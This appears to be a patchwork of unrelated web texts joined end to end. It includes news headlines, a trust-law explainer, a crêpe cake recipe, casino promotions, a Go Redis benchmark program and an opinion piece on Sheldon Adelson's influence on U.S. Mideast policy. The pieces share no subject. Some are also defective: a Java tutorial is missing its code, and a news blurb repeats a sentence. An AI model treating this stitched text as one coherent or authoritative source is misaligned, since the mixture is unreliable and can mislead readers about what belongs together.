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U.S. House will not tackle healthcare this year: Speaker Ryan tells Reuters
House of Representatives Speaker Paul Ryan said on Wednesday the Republican-controlled U.S. Congress will not attempt to repeal and replace Obamacare again this year but should try again in 2018.
Justice Dept must hand over 'Trump dossier': Speaker Ryan tells Reuters
In an interview with Reuters, House Speaker Paul Ryan says the Department of Justice needs to immediately give Congress documents related to the funding of a dossier on Donald Trump during the presidential campaign.
Reuters Pictures of the Year 2017
The most memorable pictures taken by Reuters photographers around the world this year, including Donald Trump's presidency, the Rohingya refugee crisis, the fight against Islamic State and the total solar eclipse across the United States.
Andy Murray arrives in Brisbane for Australian Open warm-up
Britain's Andy Murray lands in Australia ahead of the Brisbane International tournament.
Andy Murray has hip surgery to fix injury problems
Murray returned to the court last month then withdrew from Australian Open.
Trump says China, EU manipulate their currencies: Reuters
President Trump is said to be accusing China and the EU of manipulating their currencies.
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The demonstrators were calling for the release of their leader Ibrahim Zakzaky when soldiers shot at them.
Myanmar frees Reuters journalists
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Vigil held for Indian Reuters photographer killed in Afghanistan
Residents and students attend a vigil at the gates of the Jamia Millia Islamia University in New Delhi to pay homage to Pulitzer Prize-winning Indian photographer Danish Siddiqui. The Reuters news agency photographer was killed covering fighting between Afghan security forces and the Taliban near a border crossing with Pakistan. The Reuters news agency photographer was killed Friday covering fighting between Afghan security forces and the Taliban near a border crossing with Pakistan. "Danish was a people's journalist... He used to narrate the sorrow and pain of our times through his camera," said one resident. His photos of protests in the neighbourhood against a controversial citizenship law last year were well-known among the residents here.


The power of revocation may be a limited one. For example, the power may arise only when certain events occur, such as marriages, deaths, or economic changes. The power may also be given to others, so that the grantor is no longer free to amend or revoke the trust. This allows interested parties to get at the trust assets should circumstances change, and provides a degree of flexibility not readily available when irrevocable trusts are involved. Any power concerning revocation that the grantor wishes to retain should be expressly reserved. Such powers are not usually presumed. Generally, powers of revocation that the grantor has retained cease at his death, and the trust becomes irrevocable. However, powers given to others may be made to continue after the grantor's death.
Effect of State Law. The question of the revocability of a trust may be determined by state law. While a power of revocation is usually expressly reserved in the trust instrument if the grantor desires it, state law may presume a power to revoke exists unless there is an express statement of irrevocability. In other states, a spouse may revoke a transfer of community property in trust, if the transfer was made without the spouse's written consent. Often, a grantor's right to deal freely with trust property (i.e., to borrow, purchase, or sell it) is treated as a power to revoke the trust or otherwise revest the assets in himself. State law, or an express restriction in the trust instrument, may limit the grantor sufficiently to avoid his being taxed on the income.
A typical revocable inter vivos trust allows the grantor to retain control over trust assets, and to receive the income from the trust property during his lifetime. Daily management responsibilities are transferred to the trustee. In addition, the grantor can access the trust assets, if necessary in the future, or can make changes in the administration of the trust after he sees how the trust, the trustee, and the beneficiaries function.
A revocable living trust is most appropriately used in conjunction with a will. Even though the grantor may place most of his assets in the trust during his lifetime, there will usually be some property which is not so transferred and which remains part of his probate estate. A will acts as a complement to the trust, pouring over the probate assets into the trust after the grantor's death.
1.) The inter vivos trust can provide relative privacy and efficiency, and prevent inordinate delays in distribution, because of its freedom from the probate court requirements of inventory and accounting.
2.) The administration expenses involved in managing and distributing the trust property may be less than the expenses of probate, especially when children are beneficiaries.
3.) The governing law, especially from the viewpoint of income accumulations, rights of creditors, and the rule against perpetuities, can generally be selected by the grantor.
4.) Ancillary probate proceedings can be avoided if property not situated in the grantor's state of domicile is transferred to a trust rather than remaining a part of the grantor's probate estate.
5.) The living trust frequently minimizes the risk of an attack on the post-death scheme of distribution when the attack is based on a claim of mental incapacity, fraud, or undue influence.
6.) The living trust may set the pattern, during the grantor's lifetime, of management procedures and responsibilities, which continue without interruption after incapacity or death.
7.) The grantor is able to watch how the fiduciaries he has chosen operate and, therefore, to determine whether any changes are necessary.
8.) An inter vivos trust may be coordinated with the grantor's will to provide for pour-overs between the trust and the grantor's estate. Also, the inter vivos trust may be divided into marital and nonmarital trusts at the grantor's death.
1.) A trust will protect an inheritance from creditors, bankruptcy, liens, and divorcing spouses.
2.) A trust can help you save money on the estate tax, inheritance tax, generation-skipping transfer tax and gift tax. Hire the right attorney to give you the individual advice and counsel for your assets and situation.
3.) Protect disabled family members or those who may apply for Medicaid soon. A person receiving SSI or Medicaid should receive an inheritance in a Special Needs Trust so that she won't be disqualified.
4.) Bypass probate with a living trust a/k/a revocable trust a/k/a management trust a/k/a living revocable trust. It has just as many uses as it does names. This type of trust is called living because it is effective during your life. It is called revocable because you can change it, amend it, or revoke it (terminate it).
Someone who doesn't want an inventory of their property filed in the public records.
6.) The reason a revocable trust bypasses probate is because all the property the trust owns does not belong in the probate estate. If you already purchased a trust but have questions regarding the full transfer of your property, we offer Trust Reviews to protect your assets should the worse happen.
1.) Funds from a supplemental needs trust can only be used to pay for things that are not basic needs like food and shelter.
When asking our clients to choose a trustee for an inter vivos or testamentary trust, we advise them to choose, appropriately, someone they trust. This is because the law imposes certain duties upon a trustee known as "fiduciary duties." Fiduciary duties are the highest duties in law. Essentially, they encompass the kind of principles that would apply to any relationship of trust, such as that between friends or family members. Although it may be difficult to provide an exact definition, fiduciary duties include, but are not limited to, a duty of loyalty, a duty of care, a duty of impartiality, and a duty to preserve and protect assets. A trustee should be someone who is capable of living up to the high standard the law demands.
The duty of loyalty is perhaps the broadest duty a trustee has, and for that reason deserves the most attention. The duty is, on its face, self explanatory – a trustee must be loyal to the beneficiaries. Keeping secrets, fabricating the truth, or even conveying only part of the truth would be completely contrary to the duty of loyalty. The trustee should be selfless in dealing with the beneficiaries. Any attempt to profit or personally gain from the trust would also be a clear violation of the duty. Other than the reasonable compensation provided for the trustee in the trust agreement, the trustee should have no financial interest in the trust. The duty of loyalty also includes a duty to avoid conflicts of interest. If a situation arises where the trustee must choose between the beneficiaries and a competing interest, the loyalty the trustee owes the beneficiaries must prevail.
The duty of care is also extremely broad. It requires the trustee to perform her duties with skill and precision. Decisions must be thoughtfully weighed in consideration of any and all factors that might affect the outcome. Much like motorists have a duty to drive with safety and prudence, a trustee must guide the beneficiaries down a safe and secure road. The duty of care also applies to the delegation of authority. Although "a trustee is not required personally to perform all aspects of the investment function," a decision to pass on responsibility to another must be done with utmost care and concern.
The trustee also has a duty to deal with each individual beneficiary on an impartial basis. All beneficiaries are entitled to be furnished with information, have access to records and accounts, and in general, be treated equally. This duty serves to protect the "remaindermen," that is, people who are not presently benefiting from the trust, but who will in the future. The trustee should follow the Texas Uniform Principal and Income Act to insure remainder (future) beneficiaries are not unfairly discriminated against. A trustee must deal fairly with all, preserving the rights granted in the trust agreement.
The trustee also has a duty to exercise reasonable care to protect and preserve trust assets. The trustee must take control, and remain in control of the property at all times. The trustee must protect the property from loss by investing the trust assets appropriately, and enforcing and defending claims against the trust. In Texas, trustees must follow the Uniform Prudent Investor Act. The Act provides "A trustee shall invest and manage trust assets as a prudent investor would, by considering the purposes, terms, distribution requirements, and other circumstances of the trust." It is also essential that the trustee refrain from combining her personal funds with the trust funds. This may require keeping the funds in separate bank accounts, or in the case of tangible goods, storing such goods in a separate facility.
Remember that the concept of "fiduciary duties" is broad, and accordingly, is not limited to the duties mentioned above. These descriptions are intended to convey the standard to which the law holds a trustee. Again, it is because the law imposes such a high standard that a trustee should be someone the client completely trusts. Doing so will prevent future complications and minimize the possibility of litigation.
Generally, a trustee can be held liable for improper performance as trustee under criminal laws or civil laws or both. Fiduciaries are more likely to be held liable for money damages than to be prosecuted for crimes. It is possible, however, for the local prosecuting attorney to impanel a grand jury and secure an indictment for prosecution.
Executors, Trustees, and Agents under power of attorneys that steal from a principal or estate can be prosecuted under criminal law and held liable for civil monetary damages. The legal term for stealing from a deceased person's estate is "misapplication of fiduciary property." An individual stealing from an estate may also be charged with theft, commercial bribery, and/or "securing execution of a document by deception," if appropriate.
There are different methods of determining monetary damages arising from a civil lawsuit against a trustee. The Texas Trust Code provides that "a trustee who commits a breach of trust is chargeable with any damages resulting from such breach of trust, including but not limited to: (1) any loss or depreciation in value of the trust estate as a result of the breach of trust; (2) any profit made by the trustee through the breach of trust; or (3) any profit that would have accrued to the trust estate if there had been no breach of trust." Trustees can also be required perform a duty, refrain from breaching the trust, "redress a breach of trust," "pay money or to restore property," account, submit to a court appointed receiver, be suspended or removed, be denied compensation, or submit to any other appropriate court ordered relief.
Trustees have a duty of loyalty, duty of care, duty of impartiality, and the duty to protect and invest trust assets. There are many sub-duties under each of the duties explained above, and this list is a good overview of each duty. A trustee should not rely entirely on a memo such as this, and should engage trusted professionals to properly carry out the terms of the trust.
Generally, a trustee will not be held liable for civil damages or criminal penalties as long as he or she follows the terms of the Trust and does not break the law. Trustees do not need to be sophisticated enough to draft all the legal documents, invest all the trust assets, or account for all the receipts and expenditures; the trustee should only be sophisticated enough to hire good professionals to assist in these duties. A trustee does have a duty to exercise care in delegating duties, so trustees should engage a good attorney and communicate with him often. The most important practical steps the trustee can take are to keep current and accurate records and to communicate with beneficiaries often.


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Man Group funds fail to shine
Man Group has a tough third quarter, suffering net outflows and a fall in profitability, but analysts were upbeat about the results
Giles Turner
Thursday November 3, 2011 7:13 pm
Man Group, Europe's largest listed hedge fund firm, has faced a tough third quarter, with only seven out of 30 funds posting gains, and assets under management falling more than expected, but analysts remain upbeat.
Peter Clarke, chief executive of Man Group, said: "The last six months began with record sales, but ended with a spike in redemptions as extreme volatility severely tested investor risk appetite in the late summer."

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I was very pleased with my stay, it was convenient and affordable for 1week. At night, it was verY relaxing, peaceful, and cozy! Highly recommend anyone to stay here! Kathy was friendly and very helpful! No complaints here.
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Shannon is the chef in our relationship, but for the holidays this year I really wanted to make something great that would shock and awe her into speechlessness! Not just some no-bake pie, fudge brownies, or box cake. No, I aimed to blow her mind and tingle her taste buds with the culinary magic I knew was hiding deep within me. Now I'm not going to pretend this was easy, but if you're looking to impress your family, friends, or anyone else, this will surely do it! Side note — if you don't care about impressing anyone, and you just want to gorge like a king, this is for you, too. France and Italy are immediate contenders for favorite cuisines in the western world, so why not combine the two? I've seen these amazing looking crepe cakes before, and the idea of incorporating my favorite amaretto liqueur to it just came to me, as if in a dream sent by an angel. Have I piqued your interests? Don't bust out your passport just yet! Here are all the details you'll need, now let's get started!
This takes a while to make, mostly because things have to refrigerate for a while, so make a plan.
The crepe batter needs to be refrigerated for at least 2 hours (or overnight) before cooking.
The filling needs to be refrigerated for at least 4 hours before assembly.
The final cake needs to be refrigerated for an additional 2 hours before serving.
Read the ingredients carefully, apparently a tsp and a tbsp are different.
Milk easily boils over, don't take your eye off of it!
This cream is hard to clean up, so try to avoid flinging it across your kitchen.
Heat the milk over medium heat until it's steaming, then allow it to cool for 10 minutes.
In a big bowl whisk the eggs, flour, sugar and the salt together. After that's mixed well, add in the vanilla extract and Disaronno. Then slowly add the hot milk and melted butter.
Cover the batter and refrigerate for at least 2 hours, it can sit overnight if you want. This might be a good time to start on the filling.
Now to make the crepes! Bring the batter to room temperature. Place a nonstick 9-inch skillet over medium heat, and grease the pan with the no-stick spray. You don't have to grease the pan before each crepe, just as needed. I did it once at the beginning, and once half way through.
Pour a little less than 1/2 cup of batter in the pan and swirl it around so it covers a nice the bottom of the pan. You'll have about 5 seconds from when the batter hits the pan to make a nice circle before it won't move anymore, so act fast!
Cook until the sides of the crepe start turning brown, about 1 minute. Then flip the crepe and cook for another minute or so. This is pretty tricky. I actually put some wax paper on my counter, and flipped the whole pan over the wax paper so the crepe would fall onto it. Then I picked up the crepe with my hands, and placed the uncooked side on the pan to continue cooking.
Place the finished crepe aside.
Repeat until the batter is gone ( I made 16 crepes).
Warm the milk over medium heat until you see tiny bubbles form, then take off the heat and let it rest for 10 minutes.
In a medium pot, whisk egg yolks with sugar together so they are well combined. Gradually stir the cornstarch into the pot.
In a separate bowl, whisk the butter, cream cheese, and mascarpone together until smooth.
Slowly add the warm milk into the egg mixture, one cup at a time, stirring constantly, until it's all combined.
Place the pot over medium heat and cook the mixture, whisking constantly (this is paramount) until the cornstarch starts to thicken.
Once the mixture has the consistency of pudding, remove from heat and quickly strain it into the bowl with the butter and cheese mixture. Stir the cream until it's smooth and well combined.
Chill for at least 4 hours covered with a plastic wrap placed directly on the surface of the cream. This prevents a weird skin from forming.
After about 3 hours and 50 minutes you can start making the whipped cream that you'll combine into your cream filling. Whip the heavy cream, confectioners sugar, and extract with a hand mixer for a few minutes until it starts to thicken. Add in the Disaronno, and continue to mix until the cream holds peaks.
Put about 2 cups of the whipped cream aside (you'll use it to frost the cake later). Take your filling out of the fridge, and gently fold the rest of your whipped cream into it, adding a half cup of whipped cream at a time.
Lay 1 crepe down on a plate. Using a spatula, cover the crepe with a thin layer of the cream filling. Place another crepe on top, and repeat until all your crepes are used.
Take the extra whipped cream you put aside and frost the outside of the cake (I'm really bad at this simple step as you may be able to tell from the photos).
Chill for at least 2 hours, and set out for 30 minutes before serving.
Optionally, you can dust the cake with some cocoa powder (just for looks), or drizzle with Nutella (this is actually really good, we discovered it after eating a few pieces, and it adds to the Italian-ness).
Oh, one more step… INDULGE!
Check out more great, international dishes inspired by our travels, and eaten abroad, here! Also, if you have any great recipes, send them to us ASAP. We're always hungry for something delicious. Merci!
7 Responses to "The Decadent Love Child of France & Italy: Disaronno Crêpe Cake"
This cake is absolutely amazing! Love the Disaronno in here! So sweet of you to make this for Shannon too – it turned out perfectly!


In this tutorial, we will learn about how to check if array contains certain value or not in Java 8 using Stream API.
Given an array of string and int data type, check if array contains "a" and 1 in their respective arrays or not. To implement this, we will use Stream Class of Stream API.
That's all for how to check if array contains certain value or not in Java 8 using Stream API. If you liked it, please share your thoughts in comments section and share it with others too.


This article will take a look at what's new at some of the best UK online casinos including bgo Vegas Casino, Jackpot Party Casino and bet365 Casino.
Net Entertainment has recently unveiled a brand new online slot machine called Big Bang, which has 5 reels and 25 winning paylines.
Just one week after Microgaming announced it had secured a licensing agreement to develop the Terminator 2: Judgment Day slot, it has also now revealed that it has the rights for the Jurassic Park franchise.
A brand new online slot called Elvis: The King Lives has recently arrived at a top UK online casino called Jackpot Party Casino.
bgo is a leading UK cross-platform gambling portal which is powered by proprietary software and also by various other leading software providers. Their latest game is a dinosaur themed slot called Jurassic Island.
Microgaming has managed to obtain a licensing agreement with Studiocanal S.A. and this means that Microgaming now has the go-ahead to develop the Terminator 2: Judgement Day online slot.
Microgaming recently launched two new mobile slots including a sports/tennis themed slot called Centre Court and also an Ancient Egyptian themed slot called Isis.
Some new games arrived at Golden Riviera Casino and Golden Riviera Mobile Casino in January 2014.
Lucky Koi is a brand new online slot from Microgaming which you can now find in various top UK online casinos.
The very latest online casino to go mobile is a top UK online casino called Casino UK Mobile.
Royal Vegas Online Casino has been running an online slot tournament called the SUPERCASH Freeroll since December 30th. Players still have until January 5th to win a share of the guaranteed $3,000 prize pool.
Playtech is an industry award winning online casino software provider which powers many of today's best UK online casinos. A new online casino which is now live recently chose Playtech to be its primary software provider.


Hi, I thought my blog was looking a little monochrome (which is to be expected since I changed the colour way to black) - So I thought I would post this card I made for my Mum. It's winging its way to England - I hope she likes it.
The button design is a free digital paper from Crafts On The Net. Cheers! I've mixed it up with some gorgeous shimmering chocolaty card from Kikki-K (Ozzie Store), white card and the back of a notebook (Brown/Grey looking card). It's amazing what you can do with found objects! The flowers are cut from a DCWV glitter stack and popped up with foam pads. Plus a little pink ribbon.
EDIT: How freaky! I've just had a look at the new CPS sketch #130 and it matches this very card I made just a few days ago. So, I'm linking up and keeping my fingers crossed for some JilliBean Soup stamps. It's a great sketch/layout. I'll definitely be using this again.
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Dry Sprinkler System – Keystone Fire Protection Co.
Dry-pipe systems are the sprinkler system of choice when the piping will be exposed to temperatures below 40 degrees F. Dry sprinkler system piping does not contain any water and is charged with pressurized air, or sometimes nitrogen. When a fire occurs and generates enough heat to release the sprinklers, the air in the pipes escapes, resulting in a drop in system air pressure, which allows the dry valve to open and water to flow to the open sprinklers.
Dry-pipe fire sprinkler systems can be more complex than wet-pipe systems. Keystone has in-depth experience with the special requirements of dry systems. Because of the delayed dispersal of water from the dry-pipe valve to the open sprinklers, dry systems place limits on the system design and require a reliable air supply source.
These limitations may require restricting the system size; including components, such as accelerators and exhausters; and adjusting the number of operating sprinklers. Additionally, dry-pipe systems could operate as a subsystem of a larger wet-pipe system as in attic spaces, warehouses or refrigerated areas, for example.
Pre-action sprinkler systems are specialized for use in locations where accidental activation could damage high value physical assets as in archival vaults, museums, libraries or data centers. Similar to a dry-pipe system, a pre-action sprinkler system uses piping charged with air or nitrogen under pressure. The pre-action system holds back the water with an electrically operated valve, known as a pre-action valve. Water will not flow into the system until the supplemental fire detection system operates, signaling the pre-action valve to open.
This system can allow assessment of the incipient fire prior to water release, potentially saving valuable assets from water damage.
Like a pre-action sprinkler system, a deluge system holds back water via an electrically operated deluge valve. However, unlike pre-action systems, the sprinkler heads are always open and the piping is not pressurized with air.
When the automatic detection system activates, the valve is opened and water releases through all the heads simultaneously. This massive release of water is needed in areas such as aircraft hangars, fuel loading facilities, power plants, and chemical and hydrocarbon storage or processing facilities.
Deluge systems often include foam mixed with water, which creates a protective blanket to control and cool a rapidly developing fire. Learn more about AFFF and FFFP foams.
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This year is already shaping up to be the greatest Anarchapulco conference ever. Just check out some of these photos and video footage from the concerts, events and speakers that we have seen so far and we are just on Day 2.
Pictured are Killa Priest and Prodigal Sun from the Wu-Tang Clan and Weldon Stanford who flew down on Airthereum, a new blockchain based private jet service.
Here as well are a photo and some footage from our concert which was held this year at Palladium, a gorgeous nightclub with an incredible view of Acapulco bay which included Wu Tang Clan, Eric July & Backwordz, Alais Clay, Freenauts and even The Dollar Vigilante himself with his 2017 hit, "Bitcoin All The Way Up".
Oh, and not to mention Ron Paul spoke to a packed house of over 1,500 people which even included a 7.2 earthquake about 15 minutes before he took the stage. Conspiracy theories have already begun!
Here's the view from backstage. Thanks to Luke Rudkowski of We Are Change for the photos.
It's already been the best Anarchapulco yet and we are only half way through. Today some of the speakers include G. Edward Griffin, the ancap leader of the Libertarian Party of Canada, Tim Moen, Adam Kokesh, Cynthia McKinney, Larken Rose, Max Igan and Mark Passio! And a concert from Jordan Page this evening!
If you weren't able to join us this year or watch via the Livestream make sure to get tickets early for 2019 which will go on sale soon. We'll have more space next year, but we expect it to still sell-out very quickly… perhaps within weeks.
Because, so far, every person here we have talked to said they won't miss coming back next year for the world.


Debt is an ever growing problem in our society, but the problem is, once you find yourself in debt, it becomes a lot harder, sometimes even seamlessly impossible to find yourself out of debt. So if you think that you might need some help, here are a few tips to help get you started on the right track.
Pay off your credit quickly. Credit debt can continue to add up a lot more quickly than one would think. Depending on your interest, you could be paying the debt twice over in a matter of 2-3 years. Now, the best way to do this, is to dedicate a portion of your pay check directly to this debt. Try and pay as much as you can, as fast as you can, but make sure you have enough for food and rent, and the rest should all go towards your credit debt. You don't want the leading debt collectors in Geelong to come after you.
Don't spend what you don't have. I know that cute little bracelet or those cool boots might be calling your name, but in two years time, will you still be using or wearing it? Probably not, but the debt, in which you paid for it, will last much longer than either one of those material items will ever. Simple, if you can't afford it, don't buy it. You might even learn how to live the simple life, and you might eve find happiness in that!
Save at every opportunity. Saving can seem like a burden at first, but after time, you may find it to be quite enjoyable. For example, if your friends want to go out for dinner, maybe instead, you can suggest a quiet night in and maybe instead of one person cooking, you can turn it into a potluck. Or, you can always cut up your cards, that way you won't give into temptation, and you will not use your cards, and further the debt you already have. A good way to replace cards, is to just pay with cash, that way you know how much you have for the week and you can spend it accordingly. This way, you won't have to worry about small business debt collection services.
There are plenty of ways to help you get put of debt, but first you need to be willing to change a few things in your life. It will be hard at first, but remember, any habit takes about 30 days to stick, so give yourself time and try and make a weekly budget, but more importantly, try to stick to it!


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When you decide to hire a skip in Bromley, we have 6 standard sizes of skip at your disposal.
If you are in the middle of a habitation improvement job, you will likely have lots building waste to get rid of. Skips are usually the most inexpensive waste removal solutions, but a number of things will influence the cost of hire. Size, permits, and the time of skip hire are some of these factors that you should take into account.
The length of time you will be employing a skip for is another factor that influences the price. You may think that the longer you hire a skip for, the more you need to pay. However, this is not always the case. A large number of skip hire companies now offer regarding longer periods, but only consider this option if your project is likely to take a few months to end. Keep in mind that if you place the container on public land, you should have permit extensions and renewals from the council before adding the skip on the road. Most councils only issue permits that are valid for a fortnight to at 31 days.


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package main

import (
	"flag"
	"fmt"
	"log"
	redis "github.com/phpor/goredis"
	"runtime"
	"time"
)

// ----------------------------------------------------------------------------
// types and props
// ----------------------------------------------------------------------------

// redis task function type def
type redisTask func(id string, signal chan int, client redis.AsyncClient, iterations int)

// task info
type taskSpec struct {
	task redisTask
	name string
}

// array of Tasks to run in sequence
// Add a task to the list to bench to the runner.
// Tasks are run in sequence.
var tasks = []taskSpec{
	taskSpec{doPing, "PING"},
	taskSpec{doSet, "SET"},
	taskSpec{doGet, "GET"},
	taskSpec{doIncr, "INCR"},
	taskSpec{doDecr, "DECR"},
	taskSpec{doLpush, "LPUSH"},
	taskSpec{doLpop, "LPOP"},
	taskSpec{doRpush, "RPUSH"},
	taskSpec{doRpop, "RPOP"},
}

// workers option.  default is equiv to -w=10000 on command line
var workers = flag.Int("w", 10000, "number of concurrent workers")

// opcnt option.  default is equiv to -n=20 on command line
var opcnt = flag.Int("n", 20, "number of task iterations per worker")

// ----------------------------------------------------------------------------
// benchmarker
// ----------------------------------------------------------------------------

func main() {
	// DEBUG
	runtime.GOMAXPROCS(2)

	log.SetPrefix("[go-redis|bench] ")
	flag.Parse()

	fmt.Printf("\n\n== Bench synchclient == %d goroutines 1 AsyncClient  -- %d opts each --- \n\n", *workers, *opcnt)

	for _, task := range tasks {
		// REVU: creates a new client for each task run
		// wondering if using the same conn throughout will be more realistic?
		// regardless flushdb per task is OK
		benchTask(task, *opcnt, *workers, true)
	}

}

// Use a single redis.AsyncClient with specified number
// of workers to bench concurrent load on the async client
func benchTask(taskspec taskSpec, iterations int, workers int, printReport bool) (delta time.Duration, err error) {
	// channel to signal completion
	signal := make(chan int, workers)

	// spec and initialize an AsyncClient
	// will flush your db13 as noted in README ..
	spec := redis.DefaultSpec().Db(13).Password("go-redis")
	client, e := redis.NewAsynchClientWithSpec(spec)
	if e != nil {
		log.Println("Error creating client for worker: ", e)
		return -1, e
	}

	defer client.Quit()

	// panics
	setup(client)

	t0 := time.Now()
	for i := 0; i < workers; i++ {
		id := fmt.Sprintf("%d", i)
		go taskspec.task(id, signal, client, iterations)
	}

	// wait for completion
	for i := 0; i < workers; i++ {
		<-signal
	}
	delta = time.Now().Sub(t0)

	if printReport {
		report(taskspec.name, workers, delta, iterations*workers)
	}

	return
}

func setup(client redis.AsyncClient) {
	fr, e := client.Flushdb()
	if e != nil {
		log.Println("Error creating client for worker: ", e)
		log.Println("fr: ", fr)
		panic(e)
	}
	frr, e2 := fr.Get()
	if e2 != nil {
		log.Println("Error creating client for worker: ", e2)
		log.Println("frr: ", frr)
		panic(e)
	}
}

func report(cmd string, workers int, delta time.Duration, cnt int) {
	log.Printf("---\n")
	log.Printf("cmd: %s\n", cmd)
	log.Printf("%d goroutines 1 asyncClient %d iterations of %s in %d msecs\n", workers, cnt, cmd, delta/time.Millisecond)
	log.Printf("---\n\n")
}

// ----------------------------------------------------------------------------
// redis tasks
// ----------------------------------------------------------------------------

func doPing(id string, signal chan int, client redis.AsyncClient, cnt int) {
	var fr redis.FutureBool
	for i := 0; i < cnt; i++ {
		fr, _ = client.Ping()
	}
	fr.Get()
	signal <- 1
}
func doIncr(id string, signal chan int, client redis.AsyncClient, cnt int) {
	key := "ctr-" + id
	var fr redis.FutureInt64
	for i := 0; i < cnt; i++ {
		fr, _ = client.Incr(key)
	}
	v, _ := fr.Get()
	if v != int64(cnt) {
		log.Fatalf("BUG: expecting counter %s to be %d but it is %d\n", key, cnt, v)
		panic(1)
	}
	// debug sanity check
	//	log.Printf("worker[%s] - last INCR result %s=%d\n", id, key, v)
	signal <- 1
}
func doDecr(id string, signal chan int, client redis.AsyncClient, cnt int) {
	var fr redis.FutureInt64
	key := "ctr-" + id
	for i := 0; i < cnt; i++ {
		fr, _ = client.Decr(key)
	}
	fr.Get()
	signal <- 1
}
func doSet(id string, signal chan int, client redis.AsyncClient, cnt int) {
	key := "set-" + id
	value := []byte("foo")
	for i := 0; i < cnt; i++ {
		client.Set(key, value)
	}
	signal <- 1
}
func doGet(id string, signal chan int, client redis.AsyncClient, cnt int) {
	key := "set-" + id
	for i := 0; i < cnt; i++ {
		client.Get(key)
	}
	signal <- 1
}
func doLpush(id string, signal chan int, client redis.AsyncClient, cnt int) {
	key := "list-L-" + id
	value := []byte("foo")
	for i := 0; i < cnt; i++ {
		client.Lpush(key, value)
	}
	signal <- 1
}
func doLpop(id string, signal chan int, client redis.AsyncClient, cnt int) {
	key := "list-L-" + id
	for i := 0; i < cnt; i++ {
		client.Lpop(key)
	}
	signal <- 1
}

func doRpush(id string, signal chan int, client redis.AsyncClient, cnt int) {
	key := "list-R-" + id
	value := []byte("foo")
	for i := 0; i < cnt; i++ {
		client.Rpush(key, value)
	}
	signal <- 1
}
func doRpop(id string, signal chan int, client redis.AsyncClient, cnt int) {
	key := "list-R" + id
	for i := 0; i < cnt; i++ {
		client.Rpop(key)
	}
	signal <- 1
}

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Adelson's huge campaign donation are holding America hostage, and the media is covering up for him.
Over the past month, two mainstream news outlets have done in-depth reporting on the grip that Sheldon Adelson, President Donald Trump's and the GOP's biggest donor, holds over U.S. foreign policy in the Middle East. LobeLog has closely followed this important story, so it's heartening to see The Guardian and CBC highlighting the apparent capture of U.S. foreign-policy decision-making by a billionaire donor.
But there's a noticeable gap in the coverage of this topic. U.S. news outlets, which routinely "follow the money" when it comes to domestic issues, are almost completely avoiding any reporting on the clear link between Adelson's campaign contributions and the administration's pursuit of policies that hew closely to positions espoused by the billionaire casino magnate.
Adelson's influence over the Trump administration's foreign policy is hard to overlook. The Las Vegas-based billionaire, and currently the fourteenth wealthiest American, is outspoken about his political views. He has suggested using nuclear weapons against Iran, declared the "purpose of the existence of Palestinians is to destroy Israel," promoted John Bolton for a senior foreign-policy post, directly lobbied Trump about moving the U.S. embassy from Tel Aviv to Jerusalem. Newt Gingrich, himself a recipient of Adelson's financial support during his failed 2012 presidential big, said that his benefactor's "central value" is Israel.
No Republican candidate can easily afford to ignore him. Adelson considered Obama an enemy of Israel, and, in the 2012 election, he and his wife, Miriam, contributed at least ninety-three million dollars to groups supporting the G.O.P. Officials in the U.S. and Israel said that they learned from American Jewish leaders that Adelson had vowed to spend "whatever it takes" to prevent Obama from securing a peace agreement while in office.
Entous then returns to the thesis of his article—that Israel, Saudi Arabia and the United Arab Emirates are manipulating Trump's foreign policy team. But the brief acknowledgement that one donor has leveraged legal political spending to control the foreign policy positions of the Republican Party deserves more attention.
Indeed, there's ample evidence that Trump, who received $35 million in outside election spending from Adelson and his wife, Miriam, listens to what his biggest campaign supporter has to say.
Before winning the GOP's nomination, Trump quipped that Adelson was seeking to "mold [Marco Rubio] into the perfect little puppet," but he quickly came around and echoed Adelson's hawkish positions on the Israeli-Palestinian peace process and moving the U.S. embassy to Jerusalem after winning the Republican nomination and securing Adelson's financial backing.
That was the only mention of Adelson's influence in the article.
The day after Trump's violation of the Joint Comprehensive Plan of Action (JCPOA) last month, Adelson visited Trump in the White House. The week before, Adelson cut a $30 million check to the Congressional Leadership Fund, a super PAC exclusively dedicated to securing a GOP majority in the House of Representatives. That contribution made Adelson, again, the biggest contributor to the Republican Party in an election cycle.
Stone went on to report on Adelson's White House meeting the day after the JCPOA announcement.
For years, Mr. Adelson, a Las Vegas casino mogul, has pushed the United States government to move its embassy to Jerusalem, the disputed capital that both Israelis and Palestinians claim as their own. With an estimated net worth of $40 billion, Mr. Adelson donated heavily to Mr. Trump's campaign and gave $5 million to the committee organizing the president's inauguration festivities, the largest such contribution ever.
Progressive and left-leaning media have been equally silent about the special interest control over U.S. foreign policy decision-making.
Two days after Trump violated the JCPOA, MSNBC's Chris Hayes devoted more than eight minutes to the $30 million contribution in which his panelists decried the outsized role of money in politics. Two minutes into the segment, they speculated about how much Adelson's heirs might benefit from estate-tax reductions in the Republican tax bill, suggesting that Adelson's contribution might be an investment in influencing tax policy in ways that would personally benefit him and his family.
There's also a foreign policy component here. The rich donors might have different foreign policy priorities. Sheldon Adelson has very intense foreign policy priorities as relate to Israel. You can imagine people having intense foreign policy priorities as to Brexit or NATO or Ukraine… You get a US foreign policy where you have to wonder what is guiding it.
None of Hayes's panelists engaged with that explanation and Hayes did not return to it.
Throw in the benefits of the other tax cut provisions and Adelson's interest in maintaining a business-friendly National Labor Relations Board and the investment is very small and sensible. The same goes for even richer people like the Koch brothers, who are planning to spend even larger sums in the midterms.
There's no actual evidence that Adelson feels particularly strongly about the estate tax. He hasn't given public remarks about the estate tax, and he hasn't contributed large sums of money to think tanks with an anti-estate tax agenda. In other words, Hayes and Yglesias are guessing about Adelson's motives without acknowledging what Adelson publicly talks about as motivating his political and civic engagement.
ThinkProgress, a site for which I used to work, offers another insight into the progressive media landscape's refusal to acknowledge Adelson's capture of Washington's Mideast policy. Adelson's name hasn't appeared in a TP headline for over two years. Housed at the Democratic-Party-aligned Center for American Progress, TP doesn't shy away from writing about certain other right-wing donors. But it hasn't put the Republican Party's biggest donor's name in a headline since five months before the 2016 presidential election.
By comparison, "Koch" has appeared in 20 ThinkProgress headlines in the same two-year span.
It's not as if mainstream, let alone left-wing, journalists and pundits don't understand what's happening. Half of the CBC's May 20 segment is taken up by Wendy Mesley's interview with Ken Vogel, a money-in-politics reporter for The New York Times.
Mesley: Why is Adelson so driven on these causes, these mostly Israeli causes?
Vogel: Yeah, he is a cause donor. It's been really his animating political issue behind his donations for some time. People I've talked to trace it to his marriage to his wife Miriam Adelson in the early 1990s. Her parents fled the Holocaust, ended up in Israel where she was raised and so far that reason and others he's really become a leading donor and a leading figure in this hawkish pro-Israel conservative sort of circle that is so influential in American politics.
